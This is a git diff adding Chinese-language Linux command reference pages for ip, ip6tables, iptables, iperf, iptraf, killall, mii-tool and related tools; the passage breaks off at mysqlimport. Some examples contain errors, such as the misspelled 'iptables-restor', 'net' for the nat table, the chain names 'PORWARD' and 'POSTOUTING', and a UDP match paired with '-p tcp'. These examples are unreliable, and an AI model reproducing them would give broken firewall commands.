2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:16:3e:00:1e:51 brd ff:ff:ff:ff:ff:ff
RX: bytes packets errors dropped overrun mcast
3641655380 62027099 0 0 0 0
TX: bytes packets errors dropped carrier collsns
6155236 89160 0 0 0 0
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
link/ether 00:16:3e:00:1e:52 brd ff:ff:ff:ff:ff:ff
RX: bytes packets errors dropped overrun mcast
2562136822 488237847 0 0 0 0
TX: bytes packets errors dropped carrier collsns
3486617396 9691081 0 0 0 0
```
**显示核心路由表**
```
[root@localhost ~]# ip route list
112.124.12.0/22 dev eth1 proto kernel scope link src 112.124.15.130
10.160.0.0/20 dev eth0 proto kernel scope link src 10.160.7.81
192.168.0.0/16 via 10.160.15.247 dev eth0
172.16.0.0/12 via 10.160.15.247 dev eth0
10.0.0.0/8 via 10.160.15.247 dev eth0
default via 112.124.15.247 dev eth1
```
**显示邻居表**
```
[root@localhost ~]# ip neigh list
112.124.15.247 dev eth1 lladdr 00:00:0c:9f:f3:88 REACHABLE
10.160.15.247 dev eth0 lladdr 00:00:0c:9f:f2:c0 STALE
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

View File

@ -0,0 +1,24 @@
ip6tables-restore
===
还原ip6tables表
## 补充说明
**ip6tables-restore命令** 用来还原ip6tables表。
### 语法
```
ip6tables-restore(选项)
```
### 选项
```
-c指定在还原iptables表时还原当前的数据包计数器和字节计数器值
-t指定要还原的表的名称。
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

24
command/ip6tables-save.md Normal file
View File

@ -0,0 +1,24 @@
ip6tables-save
===
保存ip6tables表配置
## 补充说明
**ip6tables-save命令** 将Linux内核中ip6tables表导出到标准输出设备上。
### 语法
```
ip6tables-save(选项)
```
### 选项
```
-c指定在保存iptables表时保存当前的数据包计数器和字节计数器值
-t指定要保存的表的名称。
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

206
command/ip6tables.md Normal file
View File

@ -0,0 +1,206 @@
ip6tables
===
linux中防火墙软件
## 补充说明
**ip6tables命令** 和iptables一样都是linux中防火墙软件不同的是ip6tables采用的TCP/ip协议为IPv6。
### 语法
```
ip6tables(选项)
```
### 选项
```
-t<>:指定要操纵的表;
-A向规则链中添加条目
-D从规则链中删除条目
-i向规则链中插入条目
-R替换规则链中的条目
-L显示规则链中已有的条目
-F清楚规则链中已有的条目
-Z清空规则链中的数据包计算器和字节计数器
-N创建新的用户自定义规则链
-P定义规则链中的默认目标
-h显示帮助信息
-p指定要匹配的数据包协议类型
-s指定要匹配的数据包源ip地址
-j<目标>:指定要跳转的目标;
-i<网络接口>:指定数据包进入本机的网络接口;
-o<网络接口>:指定数据包要离开本机所使用的网络接口。
-c<计数器>在执行插入操作insert追加操作append替换操作replace时初始化包计数器和字节计数器。
```
### 实例
在命令行窗口输入下面的指令就可以查看当前的 IPv6 防火墙配置:
```
ip6tables -nl --line-numbers
```
**/etc/sysconfig/ip6tables文件**
使用编辑器编辑`/etc/sysconfig/ip6tables`文件:
```
vi /etc/sysconfig/ip6tables
```
可能会看到下面的默认 ip6tables 规则:
```
*filter
:INPUT accept [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:RH-Firewall-1-INPUT - [0:0]
-A INPUT -j RH-Firewall-1-INPUT
-A FORWARD -j RH-Firewall-1-INPUT
-A RH-Firewall-1-INPUT -i lo -j ACCEPT
-A RH-Firewall-1-INPUT -p icmpv6 -j ACCEPT
-A RH-Firewall-1-INPUT -p 50 -j ACCEPT
-A RH-Firewall-1-INPUT -p 51 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp --dport 5353 -d ff02::fb -j ACCEPT
-A RH-Firewall-1-INPUT -p udp -m udp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 631 -j ACCEPT
-A RH-Firewall-1-INPUT -p udp -m udp --dport 32768:61000 -j ACCEPT
-A RH-Firewall-1-INPUT -p tcp -m tcp --dport 32768:61000 ! --syn -j ACCEPT
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 22 -j ACCEPT
-A RH-Firewall-1-INPUT -j reject --reject-with icmp6-adm-prohibited
COMMIT
```
与 IPv4 的 iptables 规则类似,但又不完全相同。
要开启 80 端口HTTP 服务器端口),在 COMMIT 一行之前添加如下规则:
```
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 80 -j ACCEPT
```
`-p tcp`表示仅针对 tcp 协议的通信。`--dport`指定端口号。
要开启 53 端口DNS 服务器端口),在 COMMIT 一行之前添加如下规则:
```
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 53 -j ACCEPT
-A RH-Firewall-1-INPUT -m udp -p tcp --dport 53 -j ACCEPT
```
同时针对 tcp 和 udp 协议开启 53 端口。
要开启 443 端口,在 COMMIT 一行之前添加如下规则:
```
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 443 -j ACCEPT
```
要开启 25 端口SMTP 邮件服务器端口),在 COMMIT 一行之前添加如下规则:
```
-A RH-Firewall-1-INPUT -m tcp -p tcp --dport 25 -j ACCEPT
```
对于那些没有特定规则与之匹配的数据包可能是我们不想要的多半是有问题的。我们可能也希望在丢弃DROP之前记录它们。此时可以将最后一行
```
-A RH-Firewall-1-INPUT -j REJECT --reject-with icmp6-adm-prohibited
COMMIT
```
改为:
```
-A RH-Firewall-1-INPUT -j LOG
-A RH-Firewall-1-INPUT -j DROP
COMMIT
```
保存并关闭该文件。然后重新启动 ip6tables 防火墙:
```
# service ip6tables restart
```
然后重新查看 ip6tables 规则,可以看到如下所示的输出:
```
# ip6tables -vnL --line-numbers
```
输出示例:
```
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)
num pkts bytes target prot opt in out source destination
1 42237 3243K RH-Firewall-1-INPUT all * * ::/0 ::/0
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
num pkts bytes target prot opt in out source destination
1 0 0 RH-Firewall-1-INPUT all * * ::/0 ::/0
Chain OUTPUT (policy ACCEPT 12557 packets, 2042K bytes)
num pkts bytes target prot opt in out source destination
Chain RH-Firewall-1-INPUT (2 references)
num pkts bytes target prot opt in out source destination
1 6 656 ACCEPT all lo * ::/0 ::/0
2 37519 2730K ACCEPT icmpv6 * * ::/0 ::/0
3 0 0 ACCEPT esp * * ::/0 ::/0
4 0 0 ACCEPT ah * * ::/0 ::/0
5 413 48385 ACCEPT udp * * ::/0 ff02::fb/128 udp dpt:5353
6 0 0 ACCEPT udp * * ::/0 ::/0 udp dpt:631
7 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:631
8 173 79521 ACCEPT udp * * ::/0 ::/0 udp dpts:32768:61000
9 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpts:32768:61000 flags:!0x16/0x02
10 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:22
11 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:80
12 0 0 ACCEPT tcp * * ::/0 ::/0 tcp dpt:53
13 4108 380K ACCEPT udp * * ::/0 ::/0 udp dpt:53
14 18 4196 REJECT all * * ::/0 ::/0
```
**IPv6 私有 IP**
IPv4 通常默认即可保护内部局域网私有 IP 上的主机。但是 IPv6 的地址非常丰富,不再需要使用类似 NAT 等协议的私有网络。这样一来,所有的内部主机都可以拥有公网 IP 而直接连接到互联网,也就同时暴露于互联网上的各种威胁之中了。那么,如何配置 IPv6 防火墙使其默认将除了 ping6 请求之外的所有输入数据包都丢弃呢可以使用FC00::/7 前缀来标识本地 IPv6 单播地址。
**允许特定的 ICMPv6 通信**
使用 IPv6 的时候需要允许比 IPv4 更多类型的 ICMP 通信以保证路由和 IP 地址自动配置等功能正常工作。有时候,如果你的规则设置太过苛刻,可能都无法分配到正确的 IPv6 地址。当然,不使用 DHCP 而是手动配置 IP 地址的除外。
下面是一些比较常见的 ipv6-icmp 配置实例:
```
:ICMPv6 - [0:0]
# Approve certain ICMPv6 types and all outgoing ICMPv6
# http://forum.linode.com/viewtopic.php?p=39840#39840
-A INPUT -p icmpv6 -j ICMPv6
-A ICMPv6 -p icmpv6 --icmpv6-type echo-request -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type destination-unreachable -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type packet-too-big -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type time-exceeded -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type parameter-problem -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type router-solicitation -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type neighbour-solicitation -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type neighbour-advertisement -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type redirect -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 141 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 142 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 148 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 149 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 130 -s fe80::/10 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 131 -s fe80::/10 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 132 -s fe80::/10 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 143 -s fe80::/10 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 151 -s fe80::/10 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 152 -s fe80::/10 -j ACCEPT
-A ICMPv6 -p icmpv6 --icmpv6-type 153 -s fe80::/10 -j ACCEPT
-A ICMPv6 -j RETURN
-A OUTPUT -p icmpv6 -j ACCEPT
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

399
command/iperf.md Normal file
View File

@ -0,0 +1,399 @@
iperf
===
网络性能测试工具
## 补充说明
**iperf命令** 是一个网络性能测试工具。iperf可以测试TCP和UDP带宽质量。iperf可以测量最大TCP带宽具有多种参数和UDP特性。iperf可以报告带宽延迟抖动和数据包丢失。利用iperf这一特性可以用来测试一些网络设备如路由器防火墙交换机等的性能。
iperf分为两种版本Unix/Linux版和Windows版Unix/Linux版更新比较快版本最新。Windows版更新慢。Windows版的iperf叫jperf或者xjperf。jperf是在iperf基础上开发了更好的UI和新的功能。
Linux版本下载地址http://code.google.com/p/iperf/downloads/list
### 安装iperf
对于windows版的iperf直接将解压出来的iperf.exe和cygwin1.dll复制到%systemroot%目录即可对于linux版的iperf请使用如下命令安装
```
gunzip -c iperf-<version>.tar.gz | tar -xvf -
cd iperf-<version>
./configure
make
make install
```
### 选项
<table>
<tbody>
<tr>
<th>命令行选项</th>
<th>描述</th>
</tr>
<tr>
<td>客户端与服务器共用选项</td>
</tr>
<tr>
<td>-f, --format [bkmaBKMA]</td>
<td>格式化带宽数输出。支持的格式有:
'b' = bits/sec 'B' = Bytes/sec
'k' = Kbits/sec 'K' = KBytes/sec
'm' = Mbits/sec 'M' = MBytes/sec
'g' = Gbits/sec 'G' = GBytes/sec
'a' = adaptive bits/sec 'A' = adaptive Bytes/sec
自适应格式是kilo-和mega-二者之一。除了带宽之外的字段都输出为字节除非指定输出的格式默认的参数是a。
注意在计算字节byte时Kilo = 1024 Mega = 1024^2Giga = 1024^3。通常在网络中Kilo = 1000 Mega = 1000^2 and Giga = 1000^3所以Iperf也按此来计算比特。如果这些困扰了你那么请使用-f b参数然后亲自计算一下。</td>
</tr>
<tr>
<td>-i, --interval #</td>
<td>设置每次报告之间的时间间隔,单位为秒。如果设置为非零值,就会按照此时间间隔输出测试报告。默认值为零。</td>
</tr>
<tr>
<td>-l, --len #[KM]</td>
<td>设置读写缓冲区的长度。TCP方式默认为8KBUDP方式默认为1470字节。</td>
</tr>
<tr>
<td>-m, --print_mss</td>
<td>输出TCP MSS值通过TCP_MAXSEG支持。MSS值一般比MTU值小40字节。通常情况</td>
</tr>
<tr>
<td>-p, --port #</td>
<td>设置端口与服务器端的监听端口一致。默认是5001端口与ttcp的一样。</td>
</tr>
<tr>
<td>-u, --udp</td>
<td>使用UDP方式而不是TCP方式。参看-b选项。</td>
</tr>
<tr>
<td>-w, --window #[KM]</td>
<td>设置套接字缓冲区为指定大小。对于TCP方式此设置为TCP窗口大小。对于UDP方式此设置为接受UDP数据包的缓冲区大小限制可以接受数据包的最大值。</td>
</tr>
<tr>
<td>-B, --bind host</td>
<td>绑定到主机的多个地址中的一个。对于客户端来说这个参数设置了出栈接口。对于服务器端来说这个参数设置入栈接口。这个参数只用于具有多网络接口的主机。在Iperf的UDP模式下此参数用于绑定和加入一个多播组。使用范围在224.0.0.0至239.255.255.255的多播地址。参考-T参数。</td>
</tr>
<tr>
<td>-C, --compatibility</td>
<td>与低版本的Iperf使用时可以使用兼容模式。不需要两端同时使用兼容模式但是强烈推荐两端同时使用兼容模式。某些情况下使用某些数据流可以引起1.7版本的服务器端崩溃或引起非预期的连接尝试。</td>
</tr>
<tr>
<td>-M, --mss #ip头减去40字节。在以太网中MSS值 为1460字节MTU1500字节。许多操作系统不支持此选项。</td>
</tr>
<tr>
<td>-N, --nodelay</td>
<td>设置TCP无延迟选项禁用Nagle's运算法则。通常情况此选项对于交互程序例如telnet是禁用的。</td>
</tr>
<tr>
<td>-V (from v1.6 or higher)</td>
<td>绑定一个IPv6地址。
服务端:$ iperf -s V
客户端:$ iperf -c <Server IPv6 Address> -V
注意在1.6.3或更高版本中指定IPv6地址不需要使用-B参数绑定在1.6之前的版本则需要。在大多数操作系统中将响应IPv4客户端映射的IPv4地址。</td>
</tr>
<tr>
<td>服务器端专用选项</td>
</tr>
<tr>
<td>-s, --server</td>
<td>Iperf服务器模式</td>
</tr>
<tr>
<td>-D (v1.2或更高版本)</td>
<td>Unix平台下Iperf作为后台守护进程运行。在Win32平台下Iperf将作为服务运行。</td>
</tr>
<tr>
<td>-R(v1.2或更高版本仅用于Windows)</td>
<td>卸载Iperf服务如果它在运行</td>
</tr>
<tr>
<td>-o(v1.2或更高版本仅用于Windows)</td>
<td>重定向输出到指定文件</td>
</tr>
<tr>
<td>-c, --client host</td>
<td>如果Iperf运行在服务器模式并且用-c参数指定一个主机那么Iperf将只接受指定主机的连接。此参数不能工作于UDP模式。</td>
</tr>
<tr>
<td>-P, --parallel #</td>
<td>服务器关闭之前保持的连接数。默认是0这意味着永远接受连接。</td>
</tr>
<tr>
<td>客户端专用选项</td>
</tr>
<tr>
<td>-b, --bandwidth #[KM]</td>
<td>UDP模式使用的带宽单位bits/sec。此选项与-u选项相关。默认值是1 Mbit/sec。</td>
</tr>
<tr>
<td>-c, --client host</td>
<td>运行Iperf的客户端模式连接到指定的Iperf服务器端。</td>
</tr>
<tr>
<td>-d, --dualtest</td>
<td>运行双测试模式。这将使服务器端反向连接到客户端,使用-L 参数中指定的端口(或默认使用客户端连接到服务器端的端口)。这些在操作的同时就立即完成了。如果你想要一个交互的测试,请尝试-r参数。</td>
</tr>
<tr>
<td>-n, --num #[KM]</td>
<td>传送的缓冲器数量。通常情况Iperf按照10秒钟发送数据。-n参数跨越此限制按照指定次数发送指定长度的数据而不论该操作耗费多少时间。参考-l与-t选项。</td>
</tr>
<tr>
<td>-r, --tradeoff</td>
<td>往复测试模式。当客户端到服务器端的测试结束时,服务器端通过-l选项指定的端口或默认为客户端连接到服务器端的端口反向连接至客户端。当客户端连接终止时反向连接随即开始。如果需要同时进行双向测试请尝试-d参数。</td>
</tr>
<tr>
<td>-t, --time #</td>
<td>设置传输的总时间。Iperf在指定的时间内重复的发送指定长度的数据包。默认是10秒钟。参考-l与-n选项。</td>
</tr>
<tr>
<td>-L, --listenport #</td>
<td>指定服务端反向连接到客户端时使用的端口。默认使用客户端连接至服务端的端口。</td>
</tr>
<tr>
<td>-P, --parallel #</td>
<td>线程数。指定客户端与服务端之间使用的线程数。默认是1线程。需要客户端与服务器端同时使用此参数。</td>
</tr>
<tr>
<td>-S, --tos #</td>
<td>出栈数据包的服务类型。许多路由器忽略TOS字段。你可以指定这个值使用以"0x"开始的16进制数或以"0"开始的8进制数或10进制数。
例如16进制'0x10' = 8进制'020' = 十进制'16'。TOS值1349就是
IPTOS_LOWDELAY minimize delay 0x10
IPTOS_THROUGHPUT maximize throughput 0x08
IPTOS_RELIABILITY maximize reliability 0x04
IPTOS_LOWCOST minimize cost 0x02</td>
</tr>
<tr>
<td>-T, --ttl #</td>
<td>出栈多播数据包的TTL值。这本质上就是数据通过路由器的跳数。默认是1链接本地。</td>
</tr>
<tr>
<td>-F (from v1.2 or higher)</td>
<td>使用特定的数据流测量带宽,例如指定的文件。
$ iperf -c <server address> -F <file-name></td>
</tr>
<tr>
<td>-I (from v1.2 or higher)</td>
<td>与-F一样由标准输入输出文件输入数据。</td>
</tr>
<tr>
<td>杂项</td>
</tr>
<tr>
<td>-h, --help</td>
<td>显示命令行参考并退出 。</td>
</tr>
<tr>
<td>-v, --version</td>
<td>显示版本信息和编译信息并退出。</td>
</tr>
</tbody>
</table>
### 实例
带宽测试通常采用UDP模式因为能测出极限带宽、时延抖动、丢包率。在进行测试时首先以链路理论带宽作为数据发送速率进行测试例如从客户端到服务器之间的链路的理论带宽为100Mbps先用`-b 100M`进行测试,然后根据测试结果(包括实际带宽,时延抖动和丢包率),再以实际带宽作为数据发送速率进行测试,会发现时延抖动和丢包率比第一次好很多,重复测试几次,就能得出稳定的实际带宽。
**UDP模式**
服务器端:
```
iperf -u -s
```
客户端:
```
iperf -u -c 192.168.1.1 -b 100M -t 60
```
在udp模式下以100Mbps为数据发送速率客户端到服务器192.168.1.1上传带宽测试测试时间为60秒。
```
iperf -u -c 192.168.1.1 -b 5M -P 30 -t 60
```
客户端同时向服务器端发起30个连接线程以5Mbps为数据发送速率。
```
iperf -u -c 192.168.1.1 -b 100M -d -t 60
```
以100M为数据发送速率进行上下行带宽测试。
**TCP模式**
服务器端:
```
iperf -s
```
客户端:
```
iperf -c 192.168.1.1 -t 60
```
在tcp模式下客户端到服务器192.168.1.1上传带宽测试测试时间为60秒。
```
iperf -c 192.168.1.1 -P 30 -t 60
```
客户端同时向服务器端发起30个连接线程。
```
iperf -c 192.168.1.1 -d -t 60
```
进行上下行带宽测试。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

View File

@ -0,0 +1,32 @@
iptables-restore
===
还原iptables表的配置
## 补充说明
**iptables-restore命令** 用来还原iptables-save命令所备份的iptables配置。
### 语法
```
iptables-restor(选项)
```
### 选项
```
-c指定在还原iptables表时候还原当前的数据包计数器和字节计数器的值
-t指定要还原表的名称。
```
### 实例
```
iptables-restor < iptables.bak
```
iptables.bak是iptables-save命令所备份的文件。
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

43
command/iptables-save.md Normal file
View File

@ -0,0 +1,43 @@
iptables-save
===
备份iptables的表配置
## 补充说明
**iptables-save命令** 用于将linux内核中的iptables表导出到标准输出设备商通常使用shell中I/O重定向功能将其输出保存到指定文件中。
### 语法
```
iptables-save(选项)
```
### 选项
```
-c指定要保存的iptables表时保存当权的数据包计算器和字节计数器的值
-t指定要保存的表的名称。
```
### 实例
```
[root@localhost ~]# iptables-save -t filter > iptables.bak
[root@localhost ~]# cat iptables.bak
# Generated by iptables-save v1.3.5 on Thu Dec 26 21:25:15 2013
*filter
:INPUT DROP [48113:2690676]
:FORWARD accept [0:0]
:OUTPUT ACCEPT [3381959:1818595115]
-A INPUT -i lo -j ACCEPT
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A INPUT -p icmp -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
COMMIT
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

136
command/iptables.md Normal file
View File

@ -0,0 +1,136 @@
iptables
===
Linux上常用的防火墙软件
## 补充说明
**iptables命令** 是Linux上常用的防火墙软件是netfilter项目的一部分。可以直接配置也可以通过许多前端和图形界面配置。
### 语法
```
iptables(选项)(参数)
```
### 选项
```
-t<>:指定要操纵的表;
-A向规则链中添加条目
-D从规则链中删除条目
-i向规则链中插入条目
-R替换规则链中的条目
-L显示规则链中已有的条目
-F清楚规则链中已有的条目
-Z清空规则链中的数据包计算器和字节计数器
-N创建新的用户自定义规则链
-P定义规则链中的默认目标
-h显示帮助信息
-p指定要匹配的数据包协议类型
-s指定要匹配的数据包源ip地址
-j<目标>:指定要跳转的目标;
-i<网络接口>:指定数据包进入本机的网络接口;
-o<网络接口>:指定数据包要离开本机所使用的网络接口。
```
**iptables命令选项输入顺序**
```
iptables -t 表名 <-A/I/D/R> 规则链名 [规则号] <-i/o 网卡名> -p 协议名 <-s 源IP/源子网> --sport 源端口 <-d 目标IP/目标子网> --dport 目标端口 -j 动作
```
表名包括:
* **raw** :高级功能,如:网址过滤。
* **mangle** 数据包修改QOS用于实现服务质量。
* **net** :地址转换,用于网关路由器。
* **filter** :包过滤,用于防火墙规则。
规则链名包括:
* **INPUT链** :处理输入数据包。
* **OUTPUT链** :处理输出数据包。
* **PORWARD链** :处理转发数据包。
* **PREROUTING链** 用于目标地址转换DNAT
* **POSTOUTING链** 用于源地址转换SNAT
动作包括:
* **accept** :接收数据包。
* **DROP** :丢弃数据包。
* **REDIRECT** :重定向、映射、透明代理。
* **SNAT** :源地址转换。
* **DNAT** :目标地址转换。
* **MASQUERADE** IP伪装NAT用于ADSL。
* **LOG** :日志记录。
### 实例
**清除已有iptables规则**
```
iptables -F
iptables -X
iptables -Z
```
**开放指定的端口**
```
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT #允许本地回环接口(即运行本机访问本机)
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT #允许已建立的或相关连的通行
iptables -A OUTPUT -j ACCEPT #允许所有本机向外的访问
iptables -A INPUT -p tcp --dport 22 -j ACCEPT #允许访问22端口
iptables -A INPUT -p tcp --dport 80 -j ACCEPT #允许访问80端口
iptables -A INPUT -p tcp --dport 21 -j ACCEPT #允许ftp服务的21端口
iptables -A INPUT -p tcp --dport 20 -j ACCEPT #允许FTP服务的20端口
iptables -A INPUT -j reject #禁止其他未允许的规则访问
iptables -A FORWARD -j REJECT #禁止其他未允许的规则访问
```
**屏蔽IP**
```
iptables -I INPUT -s 123.45.6.7 -j DROP #屏蔽单个IP的命令
iptables -I INPUT -s 123.0.0.0/8 -j DROP #封整个段即从123.0.0.1到123.255.255.254的命令
iptables -I INPUT -s 124.45.0.0/16 -j DROP #封IP段即从123.45.0.1到123.45.255.254的命令
iptables -I INPUT -s 123.45.6.0/24 -j DROP #封IP段即从123.45.6.1到123.45.6.254的命令是
```
**查看已添加的iptables规则**
```
iptables -L -n -v
Chain INPUT (policy DROP 48106 packets, 2690K bytes)
pkts bytes target prot opt in out source destination
5075 589K ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0
191K 90M ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22
1499K 133M ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:80
4364K 6351M ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
6256 327K ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0
Chain FORWARD (policy ACCEPT 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
Chain OUTPUT (policy ACCEPT 3382K packets, 1819M bytes)
pkts bytes target prot opt in out source destination
5075 589K ACCEPT all -- * lo 0.0.0.0/0 0.0.0.0/0
```
**删除已添加的iptables规则**
将所有iptables以序号标记显示执行
```
iptables -L -n --line-numbers
```
比如要删除INPUT里序号为8的规则执行
```
iptables -D INPUT 8
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

32
command/iptraf.md Normal file
View File

@ -0,0 +1,32 @@
iptraf
===
实时地监视网卡流量
## 补充说明
**iptraf命令** 可以实时地监视网卡流量可以生成网络协议数据包信息、以太网信息、网络节点状态和ip校验和错误等信息。
### 语法
```
iptraf(选项)
```
### 选项
```
-i网络接口立即在指定网络接口上开启IP流量监视
-g立即开始生成网络接口的概要状态信息
-d网络接口在指定网络接口上立即开始监视明细的网络流量信息
-s网络接口在指定网络接口上立即开始监视TCP和UDP网络流量信息
-z网络接口在指定网络接口上显示包计数
-l网络接口在指定网络接口上立即开始监视局域网工作站信息
-t时间指定iptraf指令监视的时间
-B将标注输出重新定向到“/dev/null”关闭标注输入将程序作为后台进程运行
-f清空所有计数器
-h显示帮助信息。
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

31
command/iptstate.md Normal file
View File

@ -0,0 +1,31 @@
iptstate
===
显示iptables的工作状态
## 补充说明
**iptstate命令** 以top指令类似的风格时显示Linux内核中iptables的工作状态。
### 语法
```
iptstate(选项)
```
### 选项
```
-b指定输出信息的排序规则
-d不动态地改变窗口大小
-f过滤本地回送信息
-l将ip地址解析为域名
-L隐藏于DNS查询相关状态
-r指定刷新屏幕的频率
-R反序排列
-s单次运行模式
-t显示汇总信息。
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

43
command/killall.md Normal file
View File

@ -0,0 +1,43 @@
killall
===
使用进程的名称来杀死一组进程
## 补充说明
**killall命令** 使用进程的名称来杀死进程使用此指令可以杀死一组同名进程。我们可以使用kill命令杀死指定进程PID的进程如果要找到我们需要杀死的进程我们还需要在之前使用ps等命令再配合grep来查找进程而killall把这两个过程合二为一是一个很好用的命令。
### 语法
```
killall(选项)(参数)
```
### 选项
```
-e对长名称进行精确匹配
-l忽略大小写的不同
-p杀死进程所属的进程组
-i交互式杀死进程杀死进程前需要进行确认
-l打印所有已知信号列表
-q如果没有进程被杀死。则不输出任何信息
-r使用正规表达式匹配要杀死的进程名称
-s用指定的进程号代替默认信号“SIGTERM”
-u杀死指定用户的进程。
```
### 参数
进程名称:指定要杀死的进程名称。
### 实例
杀死所有同名进程
```
killall vi
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

30
command/lnstat.md Normal file
View File

@ -0,0 +1,30 @@
lnstat
===
显示Linux系统的网路状态
## 补充说明
**lnstat命令** 用来显示Linux系统的网路状态。
### 语法
```
lnstat(选项)
```
### 选项
```
-h显示帮助信息
-V显示指令版本信息
-c指定显示网络状态的次数每隔一定时间显示一次网络状态
-d显示可用的文件或关键字
-i指定两次显示网络状的间隔秒数
-k只显示给定的关键字
-s是否显示标题头
-w指定每个字段所占的宽度。
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

73
command/mii-tool.md Normal file
View File

@ -0,0 +1,73 @@
mii-tool
===
配置网络设备协商方式的工具
## 补充说明
**mii-tool命令** 是用于查看、管理介质的网络接口的状态有时网卡需要配置协商方式比如10/100/1000M的网卡半双工、全双工、自动协商的配置。但大多数的网络设备是不用我们来修改协商因为大多数网络设置接入的时候都采用自动协商来解决相互通信的问题。不过自动协商也不是万能的有时也会出现错误比如丢包率比较高这时就要我们来指定网卡的协商方式。mii-tool就是能指定网卡的协商方式。下面我们说一说mii-tool的用法。
### 语法
```
usage: mii-tool [-VvRrwl] [-A media,... | -F media] [interface ...]
```
### 选项
```
-V 显示版本信息;
-v 显示网络接口的信息;
-R 重设MII到开启状态
-r 重启自动协商模式;
-w 查看网络接口连接的状态变化;
-l 写入事件到系统日志;
-A 指令特定的网络接口;
-F 更改网络接口协商方式;
media: 100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD,
        (to advertise both HD and FD) 100baseTx, 10baseT
```
### 实例
查看网络接口的协商状态:
```
[root@localhost ~]# mii-tool -v eth0
eth0: negotiated 100baseTx-FD, link ok
  product info: vendor 00:50:ef, model 60 rev 8
  basic mode:   autonegotiation enabled
  basic status: autonegotiation complete, link ok
  capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
  advertising:  100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD flow-control
  link partner: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
```
注:上面的例子,我们可以看得到是自动协商,注意红字的部份。
更改网络接口协商方式:
更改网络接口的协商方式,我们要用到`-F`选项后面可以接100baseT4, 100baseTx-FD, 100baseTx-HD, 10baseT-FD, 10baseT-HD等参数
如果我们想把网络接口eth0改为1000Mb/s全双工的模式应该怎么办呢
```
[root@localhost ~]# mii-tool -F 100baseTx-FD
[root@localhost ~]# mii-tool -v eth0
eth0: 100 Mbit, full duplex, link ok
product info: vendor 00:00:00, model 0 rev 0
basic mode: 100 Mbit, full duplex
basic status: link ok
capabilities: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
advertising: 100baseTx-FD 100baseTx-HD 10baseT-FD 10baseT-HD
```
是不是已经改过来了当然我们也一样用ethtool工具来更改比如执行下面的命令
```
[root@localhost ~]# ethtool -s eth0 speed 100 duplex full
```
<!-- Linux命令行搜索引擎https://jaywcjlove.github.io/linux-command/ -->

32
command/mysqlimport.md Normal file
View File

@ -0,0 +1,32 @@
mysqlimport
===
为MySQL服务器用命令行方式导入数据
## 补充说明
